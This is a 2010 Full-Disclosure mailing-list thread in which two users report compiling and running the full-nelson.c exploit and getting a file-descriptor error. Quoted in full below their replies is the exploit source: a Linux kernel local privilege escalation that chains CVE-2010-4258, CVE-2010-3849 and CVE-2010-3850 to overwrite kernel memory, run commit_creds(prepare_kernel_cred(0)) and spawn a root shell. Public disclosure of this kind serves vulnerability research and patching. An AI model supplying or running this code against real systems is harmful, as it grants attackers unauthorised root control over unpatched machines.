Date: Mon, 13 Dec 2010 12:10:31 -0200
From: "R0me0 ***" <knight.neo@...il.com>
To: Francisco J <pico_zeh@...oo.com.br>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Linux kernel exploit

spawn@...card ~ $ uname -a
Linux alucard 2.6.35-zen2-knight #1 ZEN SMP PREEMPT Wed Dec 1 12:34:54 BRST
2010 x86_64 Intel(R) Core(TM)2 Duo CPU T6400 @ 2.00GHz GenuineIntel
GNU/Linux
spawn@...card ~ $ gcc -o nerso full-nelson.c
spawn@...card ~ $ ./nerso
[*] Failed to open file descriptors.


2010/12/13 Francisco J <pico_zeh@...oo.com.br>

> hack@...kstar:~$ cat /etc/slackware-version
> Slackware 13.1.0
> hack@...kstar:~$ uname -a
> Linux darkstar 2.6.33.4-smp #2 SMP Wed May 12 22:47:36 CDT 2010 i686
> Intel(R) Core(TM)2 CPU         T5600  @ 1.83GHz GenuineIntel GNU/Linux
> hack@...kstar:~$ cc full-nelson.c -o full-nelson
> hack@...kstar:~$ ./full-nelson
> [*] Failed to open file descriptors.
>
>
> On 12/7/2010 6:25 PM, Dan Rosenberg wrote:
> > Hi all,
> >
> > I've included here a proof-of-concept local privilege escalation exploit
> > for Linux.  Please read the header for an explanation of what's going
> > on.  Without further ado, I present full-nelson.c:
> >
> > Happy hacking,
> > Dan
> >
> >
> > --snip--
> >
> > /*
> >   * Linux Kernel<= 2.6.37 local privilege escalation
> >   * by Dan Rosenberg
> >   * @djrbliss on twitter
> >   *
> >   * Usage:
> >   * gcc full-nelson.c -o full-nelson
> >   * ./full-nelson
> >   *
> >   * This exploit leverages three vulnerabilities to get root, all of
> which were
> >   * discovered by Nelson Elhage:
> >   *
> >   * CVE-2010-4258
> >   * -------------
> >   * This is the interesting one, and the reason I wrote this exploit.  If
> a
> >   * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a
> NULL
> >   * word will be written to a user-specified pointer when that thread
> exits.
> >   * This write is done using put_user(), which ensures the provided
> destination
> >   * resides in valid userspace by invoking access_ok().  However, Nelson
> >   * discovered that when the kernel performs an address limit override
> via
> >   * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page
> fault,
> >   * etc.), this override is not reverted before calling put_user() in the
> exit
> >   * path, allowing a user to write a NULL word to an arbitrary kernel
> address.
> >   * Note that this issue requires an additional vulnerability to trigger.
> >   *
> >   * CVE-2010-3849
> >   * -------------
> >   * This is a NULL pointer dereference in the Econet protocol.  By
> itself, it's
> >   * fairly benign as a local denial-of-service.  It's a perfect candidate
> to
> >   * trigger the above issue, since it's reachable via sock_no_sendpage(),
> which
> >   * subsequently calls sendmsg under KERNEL_DS.
> >   *
> >   * CVE-2010-3850
> >   * -------------
> >   * I wouldn't be able to reach the NULL pointer dereference and trigger
> the
> >   * OOPS if users weren't able to assign Econet addresses to arbitrary
> >   * interfaces due to a missing capabilities check.
> >   *
> >   * In the interest of public safety, this exploit was specifically
> designed to
> >   * be limited:
> >   *
> >   *  * The particular symbols I resolve are not exported on Slackware or
> Debian
> >   *  * Red Hat does not support Econet by default
> >   *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu
> and
> >   *    Debian
> >   *
> >   * However, the important issue, CVE-2010-4258, affects everyone, and it
> would
> >   * be trivial to find an unpatched DoS under KERNEL_DS and write a
> slightly
> >   * more sophisticated version of this that doesn't have the roadblocks I
> put in
> >   * to prevent abuse by script kiddies.
> >   *
> >   * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
> >   *
> >   * NOTE: the exploit process will deadlock and stay in a zombie state
> after you
> >   * exit your root shell because the Econet thread OOPSes while holding
> the
> >   * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't
> bother.
> >   *
> >   * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
> >   */
> >
> > #include<stdio.h>
> > #include<sys/socket.h>
> > #include<fcntl.h>
> > #include<sys/ioctl.h>
> > #include<string.h>
> > #include<net/if.h>
> > #include<sched.h>
> > #include<stdlib.h>
> > #include<signal.h>
> > #include<sys/utsname.h>
> > #include<sys/mman.h>
> > #include<unistd.h>
> >
> > /* How many bytes should we clear in our
> >   * function pointer to put it into userspace? */
> > #ifdef __x86_64__
> > #define SHIFT 24
> > #define OFFSET 3
> > #else
> > #define SHIFT 8
> > #define OFFSET 1
> > #endif
> >
> > /* thanks spender... */
> > unsigned long get_kernel_sym(char *name)
> > {
> >       FILE *f;
> >       unsigned long addr;
> >       char dummy;
> >       char sname[512];
> >       struct utsname ver;
> >       int ret;
> >       int rep = 0;
> >       int oldstyle = 0;
> >
> >       f = fopen("/proc/kallsyms", "r");
> >       if (f == NULL) {
> >               f = fopen("/proc/ksyms", "r");
> >               if (f == NULL)
> >                       goto fallback;
> >               oldstyle = 1;
> >       }
> >
> > repeat:
> >       ret = 0;
> >       while(ret != EOF) {
> >               if (!oldstyle)
> >                       ret = fscanf(f, "%p %c %s\n", (void
> **)&addr,&dummy, sname);
> >               else {
> >                       ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
> >                       if (ret == 2) {
> >                               char *p;
> >                               if (strstr(sname, "_O/") || strstr(sname,
> "_S."))
> >                                       continue;
> >                               p = strrchr(sname, '_');
> >                               if (p>  ((char *)sname + 5)&&  !strncmp(p -
> 3, "smp", 3)) {
> >                                       p = p - 4;
> >                                       while (p>  (char *)sname&&  *(p -
> 1) == '_')
> >                                               p--;
> >                                       *p = '\0';
> >                               }
> >                       }
> >               }
> >               if (ret == 0) {
> >                       fscanf(f, "%s\n", sname);
> >                       continue;
> >               }
> >               if (!strcmp(name, sname)) {
> >                       fprintf(stdout, " [+] Resolved %s to %p%s\n", name,
> (void *)addr, rep ? " (via System.map)" : "");
> >                       fclose(f);
> >                       return addr;
> >               }
> >       }
> >
> >       fclose(f);
> >       if (rep)
> >               return 0;
> > fallback:
> >       uname(&ver);
> >       if (strncmp(ver.release, "2.6", 3))
> >               oldstyle = 1;
> >       sprintf(sname, "/boot/System.map-%s", ver.release);
> >       f = fopen(sname, "r");
> >       if (f == NULL)
> >               return 0;
> >       rep = 1;
> >       goto repeat;
> > }
> >
> > typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long
> cred);
> > typedef unsigned long __attribute__((regparm(3))) (*
> _prepare_kernel_cred)(unsigned long cred);
> > _commit_creds commit_creds;
> > _prepare_kernel_cred prepare_kernel_cred;
> >
> > static int __attribute__((regparm(3)))
> > getroot(void * file, void * vma)
> > {
> >
> >          commit_creds(prepare_kernel_cred(0));
> >          return -1;
> >
> > }
> >
> > /* Why do I do this?  Because on x86-64, the address of
> >   * commit_creds and prepare_kernel_cred are loaded relative
> >   * to rip, which means I can't just copy the above payload
> >   * into my landing area. */
> > void __attribute__((regparm(3)))
> > trampoline()
> > {
> >
> > #ifdef __x86_64__
> >       asm("mov $getroot, %rax; call *%rax;");
> > #else
> >       asm("mov $getroot, %eax; call *%eax;");
> > #endif
> >
> > }
> >
> > /* Triggers a NULL pointer dereference in econet_sendmsg
> >   * via sock_no_sendpage, so it's under KERNEL_DS */
> > int trigger(int * fildes)
> > {
> >       int ret;
> >       struct ifreq ifr;
> >
> >       memset(&ifr, 0, sizeof(ifr));
> >       strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
> >
> >       ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);
> >
> >       if(ret<  0) {
> >               printf("[*] Failed to set Econet address.\n");
> >               return -1;
> >       }
> >
> >       splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
> >       splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
> >
> >       /* Shouldn't get here... */
> >       exit(0);
> > }
> >
> > int main(int argc, char * argv[])
> > {
> >       unsigned long econet_ops, econet_ioctl, target, landing;
> >       int fildes[4], pid;
> >       void * newstack, * payload;
> >
> >       /* Create file descriptors now so there are two
> >          references to them after cloning...otherwise
> >          the child will never return because it
> >          deadlocks when trying to unlock various
> >          mutexes after OOPSing */
> >       pipe(fildes);
> >       fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
> >       fildes[3] = open("/dev/zero", O_RDONLY);
> >
> >       if(fildes[0]<  0 || fildes[1]<  0 || fildes[2]<  0 || fildes[3]<
>  0) {
> >               printf("[*] Failed to open file descriptors.\n");
> >               return -1;
> >       }
> >
> >       /* Resolve addresses of relevant symbols */
> >       printf("[*] Resolving kernel addresses...\n");
> >       econet_ioctl = get_kernel_sym("econet_ioctl");
> >       econet_ops = get_kernel_sym("econet_ops");
> >       commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
> >       prepare_kernel_cred = (_prepare_kernel_cred)
> get_kernel_sym("prepare_kernel_cred");
> >
> >       if(!econet_ioctl || !commit_creds || !prepare_kernel_cred ||
> !econet_ops) {
> >               printf("[*] Failed to resolve kernel symbols.\n");
> >               return -1;
> >       }
> >
> >       if(!(newstack = malloc(65536))) {
> >               printf("[*] Failed to allocate memory.\n");
> >               return -1;
> >       }
> >
> >       printf("[*] Calculating target...\n");
> >       target = econet_ops + 10 * sizeof(void *) - OFFSET;
> >
> >       /* Clear the higher bits */
> >       landing = econet_ioctl<<  SHIFT>>  SHIFT;
> >
> >       payload = mmap((void *)(landing&  ~0xfff), 2 * 4096,
> >                      PROT_READ | PROT_WRITE | PROT_EXEC,
> >                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
> >
> >       if ((long)payload == -1) {
> >               printf("[*] Failed to mmap() at target address.\n");
> >               return -1;
> >       }
> >
> >       memcpy((void *)landing,&trampoline, 1024);
> >
> >       clone((int (*)(void *))trigger,
> >             (void *)((unsigned long)newstack + 65536),
> >             CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
> >       &fildes, NULL, NULL, target);
> >
> >       sleep(1);
> >
> >       printf("[*] Triggering payload...\n");
> >       ioctl(fildes[2], 0, NULL);
> >
> >       if(getuid()) {
> >               printf("[*] Exploit failed to get root.\n");
> >               return -1;
> >       }
> >
> >       printf("[*] Got root!\n");
> >       execl("/bin/sh", "/bin/sh", NULL);
> > }
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
>
>
>
>
>
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists